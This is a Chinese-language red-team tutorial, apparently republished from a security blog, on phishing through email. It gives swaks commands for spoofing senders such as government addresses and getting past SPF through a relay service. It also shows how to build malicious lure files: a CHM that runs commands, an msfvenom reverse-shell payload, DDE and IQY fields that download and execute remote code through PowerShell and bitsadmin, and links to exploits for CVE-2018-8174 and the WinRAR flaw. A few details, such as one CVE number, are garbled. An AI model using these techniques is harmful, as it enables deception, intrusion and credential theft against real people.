红队测试之邮箱打点(钓鱼)
摘要： 本文主要从信息收集为第一步前提情况下，逐渐延伸到邮件钓鱼方向上，分别有：信息刺探、信息验证、邮箱定位、内容伪造、文件伪造等多个方面展开介绍。
01 邮箱伪造
一般情况下没有SPF可以 直接用swaks伪造。
这里简单讲一下spf和dkim 。
SPF: 可以大致理解它的作用是确认邮件的ip地址到底是不是在它域名的spf记录里面，如果在的话，就说明一封正确的邮件，不是的话就会被丢弃。
DKIM:它的作用主要是来校验邮件数据在传输过程中是否被修改过，也可以简单的理解为确保邮件在发送过程中的完整性。
在有SPF的情况下，就需要绕过SPF,可以使用swaks+smtp2go，需要借助到邮件托管平台来绕过SPF监测。
SMTP2GO的配置：
需要建立账户和验证域名。
swaks --to xxx@163.com
--from admin@gov.com
--ehlo xxx
dan--body “hello ，i'm 007"
--server mail.smtp2go.com -p 2525 -au user -ap pass
在邮箱地址下面会出现由xxx平台代发，当然没有仔细看或者不懂技术的人员很容易上当。
另一种方法也可以保存eml格式文件。
删除from之前的字段,修改To字段邮箱。
swaks --to test.163.com
--from admin@110.com
--data 1.eml --h-from
--server mail.smtp2go.com-p 2525 -au user -ap pass
02 钓鱼文件制作
1）传统宏文件
2）CHM钓鱼
新建一个文件夹将以下代码复制到index.html中，然后EasyCHM工具生成就可以了。
这里是弹出一个计算器，可以把计算器换成我们的木马。
<!DOCTYPE html>
<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=", calc.exe">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>
生成后起一个容易上钩的名字。
3）CVE-2018-2174
exp地址：
https://github.com/0x09AL/CVE-2018-8174-msf.git
4）Windows 快捷键
先利用MSF生成一段payload：
msfvenom -p windows/meterpreter/reverse_tcp lhost=vpsip lport=1234 -f msi > shell.txt
msiexec.exe，系统进程，是Windows Installer的一部分,利用此进程来加载我们shellcode可以达到一定的规避作用。
当然方法不唯一，还有很多种方式如用powershell 来远程下载执行自己的 木马等。
5）构造DDE钓鱼文档
创建一个文档,之后双击打开 dde.docx,直接Ctrl + f9快捷键便可以快速帮助创建一个域,我们则只需要在花括号中添加如下指令(弹出一个计算器),实战过程中可以远程加载我们的木马。
DDEAUTO c:windowssystem32cmd.exe "/k calc.exe"
这里我用ps远程下载我的马。
DDEAUTO "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta
-NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://xx.xx.xx.xx/1.ps1');
# " "Microsoft Document Security Add-On"
点击后上线。
6) word 中插入外部对象(OLE)方式欺骗
点击即可上线。
7) IQY特性钓鱼
利用nishang下的Out-WebQuery.ps1， 脚本生成包含恶意 payload url 的 iqy 文件。
powershell –exec bypass –Command "& {Import-Module 'C:Epicnishang-masterClientOut-WebQuery.ps1';
Out-WebQuery -URL http://192.168.1.5/iqy.html}"
在iqy.html页面中写入：
=cmd|' /c bitsadmin /transfer c6c5 http://ip:port/a %APPDATA%c6c5.exe&%APPDATA%c6c5.exe&del %APPDATA%c6c5.exe '!A0
bitsadmin传输是真的慢......
除了钓鱼，也可以用这一特性窃取目标用户的账户密码等敏感信息。
8）PPT 动作按钮特性构造 PPSX钓鱼
由于我这里HTA上线可能是系统版本原因总出问题，所以我用hta 去加载 ps,然后再用 ps 去远程加载执行指定的cs马。
这里一定要保存成ppsx格式的。
点击启用即可上线。
9）RAR解压钓鱼
WinRAR漏洞exp:
https://github.com/WyAtu/CVE-2018-20250
生成，发送给目标机解压。由于临时演示没有做免杀处理，重启机器后马被火绒拦截了。
另外还有利用目标登录口的钓鱼页面来窃取各种, Vpn , Mail , OA ,账号密码等，实际红队钓鱼方式与细节非常多不一一举例了。
原文地址：https://www.secpulse.com/archives/135748.html